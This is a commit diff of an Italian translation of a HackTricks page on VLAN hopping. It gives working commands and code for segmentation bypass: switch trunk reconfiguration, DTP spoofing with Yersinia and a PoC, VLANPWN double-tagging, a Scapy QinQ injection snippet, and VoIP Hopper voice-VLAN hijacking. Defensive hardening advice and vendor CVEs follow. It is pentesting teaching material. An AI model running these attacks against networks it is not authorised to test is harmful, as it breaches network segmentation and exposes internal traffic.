Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-18 12:39:59 +00:00
parent 79d01d19d9
commit 21ecad12d4

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
Se è disponibile l'accesso diretto a uno switch, la segmentazione VLAN può essere bypassata. Questo comporta la riconfigurazione della porta connessa in modalità trunk, l'istituzione di interfacce virtuali per le VLAN target e l'impostazione degli indirizzi IP, sia dinamicamente (DHCP) che staticamente, a seconda dello scenario (**per ulteriori dettagli controlla [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Se l'accesso diretto a uno switch è disponibile, la segmentazione VLAN può essere bypassata. Questo comporta la riconfigurazione della porta connessa in modalità trunk, l'istituzione di interfacce virtuali per le VLAN target e l'impostazione degli indirizzi IP, sia dinamicamente (DHCP) che staticamente, a seconda dello scenario (**per ulteriori dettagli controlla [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Inizialmente, è necessaria l'identificazione della specifica porta connessa. Questo può essere tipicamente realizzato attraverso i messaggi CDP, o cercando la porta tramite la maschera **include**.
Inizialmente, è necessaria l'identificazione della specifica porta connessa. Questo può essere tipicamente realizzato attraverso messaggi CDP, o cercando la porta tramite la maschera **include**.
**Se CDP non è operativo, l'identificazione della porta può essere tentata cercando l'indirizzo MAC**:
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
Prima di passare alla modalità trunk, dovrebbe essere compilato un elenco delle VLAN esistenti e determinati i loro identificatori. Questi identificatori vengono quindi assegnati all'interfaccia, consentendo l'accesso a varie VLAN attraverso il trunk. La porta in uso, ad esempio, è associata alla VLAN 10.
Prima di passare alla modalità trunk, è necessario compilare un elenco delle VLAN esistenti e determinare i loro identificatori. Questi identificatori vengono quindi assegnati all'interfaccia, consentendo l'accesso a varie VLAN attraverso il trunk. La porta in uso, ad esempio, è associata alla VLAN 10.
```
SW1# show vlan brief
```
@ -24,6 +24,7 @@ Passare alla modalità trunk interromperà temporaneamente la connettività, ma
Vengono quindi create interfacce virtuali, assegnati ID VLAN e attivate:
```bash
# Legacy (vconfig) still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Successivamente, viene effettuata una richiesta di indirizzo tramite DHCP. In alternativa, nei casi in cui DHCP non sia praticabile, gli indirizzi possono essere configurati manualmente:
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Esempio per impostare manualmente un indirizzo IP statico su un'interfaccia (VLAN 10):
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
```
La connettività viene testata avviando richieste ICMP ai gateway predefiniti per le VLAN 10, 20, 50 e 60.
@ -61,22 +71,29 @@ Gli switch Cisco che mantengono DTP abilitato negozieranno felicemente un trunk
*Yersinia* e diversi PoC automatizzano il processo:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Una volta che la porta passa a trunk, puoi creare sottointerfacce 802.1Q e pivotare esattamente come mostrato nella sezione precedente. I moderni kernel Linux non richiedono più *vconfig*; usa invece *ip link*:
Recon helper (identificare passivamente lo stato DTP della porta):
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
```
Una volta che la porta passa a trunk, puoi creare sottointerfacce 802.1Q e pivotare esattamente come mostrato nella sezione precedente.
### 2. Double-Tagging (Abuso del Native-VLAN)
Se l'attaccante si trova sul **native (untagged) VLAN**, un frame creato con *due* intestazioni 802.1Q può "saltare" a un secondo VLAN anche quando la porta è bloccata in modalità accesso. Strumenti come **VLANPWN DoubleTagging.py** (aggiornamento 2022-2024) automatizzano l'iniezione:
Se l'attaccante si trova sul **native (untagged) VLAN**, un frame creato con *due* intestazioni 802.1Q può saltare a un secondo VLAN anche quando la porta è bloccata in modalità accesso. Strumenti come **VLANPWN DoubleTagging.py** (refresh 2022-2025) automatizzano l'iniezione:
```bash
python3 DoubleTagging.py \
--interface eth0 \
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet walk-through:
1. Il tag esterno (1) viene rimosso dal primo switch perché corrisponde al VLAN nativo.
2. Il tag interno (20) è ora esposto; il frame viene inoltrato sul trunk verso il VLAN 20.
La tecnica funziona ancora nel 2025 su reti che lasciano il VLAN nativo al valore predefinito e accettano frame non taggati.
### 3. QinQ (802.1ad) Stacking
Molti core aziendali supportano l'incapsulamento *Q-in-Q* dei fornitori di servizi. Dove consentito, un attaccante può tunnelare traffico arbitrario taggato 802.1Q all'interno di un fornitore (S-tag) per attraversare zone di sicurezza. Cattura per ethertype 802.1ad 0x88a8 e prova a rimuovere il tag esterno con Scapy:
Molti core aziendali supportano l'incapsulamento *Q-in-Q* dei fornitori di servizi. Dove consentito, un attaccante può incapsulare traffico etichettato 802.1Q arbitrario all'interno di un fornitore (S-tag) per attraversare le zone di sicurezza. Cattura per ethertype `0x88a8` e prova a rimuovere l'etichetta esterna con Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
Le porte di accesso aziendali si trovano spesso in una configurazione *“access + voice”*: VLAN dati non contrassegnata per la workstation e una VLAN voce contrassegnata pubblicizzata tramite CDP o LLDP-MED. Impersonando un telefono IP, l'attaccante può scoprire automaticamente e accedere alla VLAN VoIP, anche quando DTP è disabilitato.
*VoIP Hopper* (incluso in Kali 2025.2) supporta CDP, opzioni DHCP **176/242** e spoofing completo di LLDP-MED:
```bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
```
La tecnica bypassa la separazione dei dati/voce ed è estremamente comune sugli switch edge aziendali nel 2025 perché la politica automatica LLDP è abilitata per impostazione predefinita su molti modelli.
---
## Raccomandazioni Difensive
1. Disabilita DTP su tutte le porte a contatto con l'utente: `switchport mode access` + `switchport nonegotiate`.
2. Cambia il VLAN nativo su ogni trunk in un **VLAN inutilizzato, black-hole** e taggalo: `vlan dot1q tag native`.
3. Rimuovi i VLAN non necessari sui trunk: `switchport trunk allowed vlan 10,20`.
4. Applica la sicurezza delle porte, DHCP snooping e ispezione ARP dinamica per limitare l'attività Layer-2 non autorizzata.
5. Preferisci i private-VLAN o la segmentazione L3 invece di fare affidamento esclusivamente sulla separazione 802.1Q.
1. Disabilitare DTP su tutte le porte rivolte agli utenti: `switchport mode access` + `switchport nonegotiate`.
2. Cambiare il VLAN nativo su ogni trunk in un **VLAN non utilizzato, black-hole** e taggarlo: `vlan dot1q tag native`.
3. Potare VLAN non necessarie sui trunk: `switchport trunk allowed vlan 10,20`.
4. Applicare la sicurezza delle porte, DHCP snooping, ispezione ARP dinamica **e 802.1X** per limitare l'attività Layer-2 non autorizzata.
5. Disabilitare le politiche automatiche di voce LLDP-MED (o bloccarle a MAC OUI autenticati) se il spoofing del telefono IP non è richiesto.
6. Preferire VLAN private o segmentazione L3 invece di fare affidamento esclusivamente sulla separazione 802.1Q.
---
## Vulnerabilità dei Fornitori nel Mondo Reale (2022-2024)
Anche una configurazione di switch perfettamente rinforzata può essere compromessa da bug del firmware. Esempi recenti includono:
* **CVE-2022-20728† Cisco Aironet/Catalyst Access Points** consentono l'iniezione dal VLAN nativo in VLAN WLAN non native, bypassando la segmentazione cablata/wi-fi.
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** consente il bypass delle ACL su SVI dopo aver attivato il Protocollo Ethernet Resiliente, facendo trapelare il traffico tra VRF/VLAN. Patch 17.9.5 o successiva.
Monitorare sempre gli avvisi dei fornitori per problemi di bypass/ACL relativi ai VLAN e mantenere aggiornate le immagini dell'infrastruttura.
---
@ -119,5 +158,7 @@ sendp(frame, iface="eth0")
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "What is VLAN Hopping?" (Aug 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VoIP Hopper project <https://github.com/hmgh0st/voiphopper>
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
{{#include ../../banners/hacktricks-training.md}}